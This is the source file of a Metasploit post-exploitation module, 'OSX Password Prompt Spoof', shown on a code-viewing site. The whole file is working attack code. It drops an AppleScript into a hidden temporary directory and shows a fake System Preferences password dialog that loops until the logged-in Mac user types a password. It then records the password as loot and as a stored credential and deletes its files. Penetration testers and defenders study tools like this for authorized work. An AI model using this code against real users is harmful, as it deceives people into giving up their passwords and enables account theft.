Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/password_prompt_spoof.rb
19592 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OSX Password Prompt Spoof',
15
'Description' => %q{
16
Presents a password prompt dialog to a logged-in OSX user.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'Joff Thyer <jsthyer[at]gmail.com>', # original post module
21
'joev', # bug fixes
22
'Peter Toth <globetother[at]gmail.com>' # bug fixes
23
],
24
'Platform' => [ 'osx' ],
25
'References' => [
26
['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html']
27
],
28
'SessionTypes' => [ 'shell', 'meterpreter' ],
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
32
'Reliability' => []
33
}
34
)
35
)
36
37
register_options([
38
OptString.new(
39
'TEXTCREDS',
40
[
41
true,
42
'Text displayed when asking for password',
43
'Type your password to allow System Preferences to make changes'
44
]
45
),
46
OptString.new(
47
'ICONFILE',
48
[
49
true,
50
'Icon filename relative to bundle',
51
'UserUnknownIcon.icns'
52
]
53
),
54
OptString.new(
55
'BUNDLEPATH',
56
[
57
true,
58
'Path to bundle containing icon',
59
'/System/Library/CoreServices/CoreTypes.bundle'
60
]
61
),
62
OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60])
63
])
64
end
65
66
# def cmd_exec(str, args)
67
# print_status "Running cmd '#{str} #{args}'..."
68
# super
69
# end
70
71
# Run Method for when run command is issued
72
def run
73
if client.nil?
74
print_error("Invalid session ID selected. Make sure the host isn't dead.")
75
return
76
end
77
78
host = case session.type
79
when /meterpreter/
80
sysinfo['Computer']
81
when /shell/
82
cmd_exec('/bin/hostname').chomp
83
end
84
85
print_status("Running module against #{host}")
86
87
dir = '/tmp/.' + Rex::Text.rand_text_alpha(6..13)
88
creds_osa = dir + '/' + Rex::Text.rand_text_alpha(6..13)
89
pass_file = dir + '/' + Rex::Text.rand_text_alpha(6..13)
90
91
username = cmd_exec('/usr/bin/whoami').strip
92
cmd_exec('umask 0077')
93
cmd_exec("/bin/mkdir #{dir}")
94
95
# write the credentials script and run
96
write_file(creds_osa, creds_script(pass_file))
97
cmd_exec("osascript #{creds_osa}")
98
99
print_status("Waiting for user '#{username}' to enter credentials...")
100
101
timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i
102
pass_found = false
103
while (::Time.now.to_f < timeout)
104
if file_exist?(pass_file)
105
print_status('Password entered! What a nice compliant user...')
106
pass_found = true
107
break
108
end
109
Rex.sleep(0.5)
110
end
111
112
if pass_found
113
password_data = read_file(pass_file.to_s).strip
114
print_good("password file contents: #{password_data}")
115
passf = store_loot('password', 'text/plain', session, password_data, 'passwd.pwd', 'OSX Password')
116
print_good("Password data stored as loot in: #{passf}")
117
pwd = password_data.split(':', 3)
118
pwd.shift # date
119
pwd.shift # username
120
create_credential({
121
workspace_id: myworkspace_id,
122
post_reference_name: refname,
123
private_data: pwd,
124
origin_type: :session,
125
session_id: session_db_id,
126
private_type: :password,
127
username: username
128
})
129
else
130
print_status('Timeout period expired before credentials were entered!')
131
end
132
133
print_status("Cleaning up files in #{host}: #{dir}")
134
cmd_exec("/usr/bin/srm -rf #{dir}")
135
end
136
137
# applescript that displays the actual password prompt dialog
138
def creds_script(pass_file)
139
%(
140
set filename to "#{pass_file}"
141
set myprompt to "#{datastore['TEXTCREDS']}"
142
set ans to "Cancel"
143
repeat
144
try
145
set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}"
146
set ans to button returned of d_returns
147
set mypass to text returned of d_returns
148
if ans is equal to "OK" and mypass is not equal to "" then exit repeat
149
end try
150
end repeat
151
try
152
set now to do shell script "date '+%Y%m%d_%H%M%S'"
153
set user to do shell script "whoami"
154
set myfile to open for access filename with write permission
155
set outstr to now & ":" & user & ":" & mypass & "
156
"
157
write outstr to myfile starting at eof
158
close access myfile
159
on error
160
try
161
close access myfile
162
end try
163
end try
164
)
165
end
166
167
# Checks if the target is OSX Server
168
def check_server
169
cmd_exec('/usr/bin/sw_vers -productName').chomp =~ /Server/
170
end
171
172
# Enumerate the OS Version
173
def get_ver
174
# Get the OS Version
175
cmd_exec('/usr/bin/sw_vers', '-productVersion').chomp
176
end
177
end
178
179